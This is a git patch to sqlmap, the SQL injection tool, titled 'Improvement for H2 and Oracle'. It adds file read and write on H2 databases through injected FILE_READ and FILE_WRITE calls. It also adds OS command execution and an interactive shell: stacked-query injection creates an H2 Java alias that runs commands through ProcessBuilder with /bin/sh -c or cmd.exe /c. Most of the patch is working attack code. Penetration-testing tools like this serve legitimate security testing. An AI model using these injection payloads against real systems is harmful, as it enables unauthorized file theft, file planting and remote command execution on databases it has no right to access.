From 38ab43f29e6aeeb79187a2cb2d54a195996f737e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 18:22:15 +0200 Subject: [PATCH] Improvement for H2 and Oracle --- data/xml/queries.xml | 18 +++++++-------- lib/core/settings.py | 2 +- lib/takeover/abstraction.py | 6 +++++ plugins/dbms/h2/filesystem.py | 41 +++++++++++++++++++++++++++++----- plugins/dbms/h2/fingerprint.py | 7 ++++++ plugins/dbms/h2/takeover.py | 33 +++++++++++++++++++++++---- plugins/generic/filesystem.py | 2 +- 7 files changed, 88 insertions(+), 21 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 8313e94df..ca744e96b 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -305,8 +305,8 @@ - - + + @@ -598,7 +598,7 @@ - + @@ -1983,12 +1983,12 @@ - - + + - - + + @@ -2003,8 +2003,8 @@ - - + + diff --git a/lib/core/settings.py b/lib/core/settings.py index 62b2762d0..331933092 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.96" +VERSION = "1.10.7.97" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index cb3e8a58b..3f43afb36 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -58,6 +58,9 @@ class Abstraction(Web, UDF, XP_cmdshell): elif Backend.isDbms(DBMS.MSSQL): self.xpCmdshellExecCmd(cmd, silent=silent) + elif Backend.isDbms(DBMS.H2): + self.h2ExecCmd(cmd, silent=silent) + else: errMsg = "Feature not yet implemented for the back-end DBMS" raise SqlmapUnsupportedFeatureException(errMsg) @@ -77,6 +80,9 @@ class Abstraction(Web, UDF, XP_cmdshell): elif Backend.isDbms(DBMS.MSSQL): retVal = self.xpCmdshellEvalCmd(cmd, first, last) + elif Backend.isDbms(DBMS.H2): + retVal = self.h2EvalCmd(cmd, first, last) + else: errMsg = "Feature not yet implemented for the back-end DBMS" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/h2/filesystem.py b/plugins/dbms/h2/filesystem.py index f607dc243..c82ba858e 100644 --- a/plugins/dbms/h2/filesystem.py +++ b/plugins/dbms/h2/filesystem.py @@ -5,14 +5,43 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ -from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.core.common import checkFile +from lib.core.convert import getText +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import CHARSET_TYPE +from lib.core.enums import EXPECTED +from lib.request import inject from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def readFile(self, remoteFile): - errMsg = "on H2 it is not possible to read files" - raise SqlmapUnsupportedFeatureException(errMsg) + def nonStackedReadFile(self, remoteFile): + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % remoteFile + logger.info(infoMsg) + + # NOTE: FILE_READ() is a default H2 builtin and works in a plain SELECT (no stacking required) + result = inject.getValue("RAWTOHEX(FILE_READ('%s'))" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL) + + return result + + def stackedReadFile(self, remoteFile): + # H2 reads through a builtin scalar, so the stacked/direct path reuses the same primitive + return self.nonStackedReadFile(remoteFile) def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): - errMsg = "on H2 it is not possible to write files" - raise SqlmapUnsupportedFeatureException(errMsg) + checkFile(localFile) + self.checkDbmsOs() + + with open(localFile, "rb") as f: + content = getText(f.read()) + + infoMsg = "writing the file content to '%s'" % remoteFile + logger.info(infoMsg) + + # NOTE: FILE_WRITE() is the H2 builtin counterpart of FILE_READ(); being a plain scalar it needs no + # stacked queries (the write happens as a side effect over UNION/error/blind). The content is passed + # as a string literal (STRINGTOUTF8) so it survives sqlmap's CHAR()-encoding (unlike an X'..' literal) + inject.getValue("CAST(FILE_WRITE(STRINGTOUTF8('%s'),'%s') AS INT)" % (content.replace("'", "''"), remoteFile), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) diff --git a/plugins/dbms/h2/fingerprint.py b/plugins/dbms/h2/fingerprint.py index 7125b27ce..44252d1ea 100644 --- a/plugins/dbms/h2/fingerprint.py +++ b/plugins/dbms/h2/fingerprint.py @@ -119,3 +119,10 @@ class Fingerprint(GenericFingerprint): def getHostname(self): warnMsg = "on H2 it is not possible to enumerate the hostname" logger.warning(warnMsg) + + def checkDbmsOs(self, detailed=False): + if Backend.getOs(): + infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() + logger.info(infoMsg) + else: + self.userChooseDbmsOs() diff --git a/plugins/dbms/h2/takeover.py b/plugins/dbms/h2/takeover.py index 29ba323a5..50b62af54 100644 --- a/plugins/dbms/h2/takeover.py +++ b/plugins/dbms/h2/takeover.py @@ -5,17 +5,42 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +from lib.core.common import Backend +from lib.core.common import randomStr +from lib.core.data import conf +from lib.core.data import kb +from lib.core.enums import OS from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.request import inject from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def osCmd(self): - errMsg = "on H2 it is not possible to execute commands" - raise SqlmapUnsupportedFeatureException(errMsg) + self._createExecAlias() + self.runCmd(conf.osCmd) def osShell(self): - errMsg = "on H2 it is not possible to execute commands" - raise SqlmapUnsupportedFeatureException(errMsg) + self._createExecAlias() + self.shell() + + def _createExecAlias(self): + # NOTE: H2 compiles an inline Java source alias that shells out; the $$-delimited body avoids + # single-quote escaping and survives stacked-query injection intact + if not kb.get("h2ExecAlias"): + kb.h2ExecAlias = randomStr(lowercase=True) + argv = '"cmd.exe","/c"' if Backend.isOs(OS.WINDOWS) else '"/bin/sh","-c"' + # NOTE: ProcessBuilder().start() is used instead of Runtime.exec() because 'exec' is an SQL + # statement keyword that sqlmap's cleanQuery() would upper-case and break the case-sensitive Java + source = 'String x(String c) throws Exception { return new String(new ProcessBuilder(new String[]{%s,c}).start().getInputStream().readAllBytes()); }' % argv + inject.goStacked("CREATE ALIAS IF NOT EXISTS %s AS $$ %s $$" % (kb.h2ExecAlias, source)) + + def h2ExecCmd(self, cmd, silent=False): + self._createExecAlias() + inject.goStacked("CALL %s('%s')" % (kb.h2ExecAlias, cmd.replace("'", "''"))) + + def h2EvalCmd(self, cmd, first=None, last=None): + self._createExecAlias() + return inject.getValue("%s('%s')" % (kb.h2ExecAlias, cmd.replace("'", "''")), safeCharEncode=False) def osPwn(self): errMsg = "on H2 it is not possible to establish an " diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index 3e3c5f4b6..69ceebb9f 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -229,7 +229,7 @@ class Filesystem(object): logger.debug(debugMsg) fileContent = self.stackedReadFile(remoteFile) - elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL): + elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL) or Backend.isDbms(DBMS.H2): debugMsg = "going to try to read the file with non-stacked query " debugMsg += "SQL injection technique" logger.debug(debugMsg)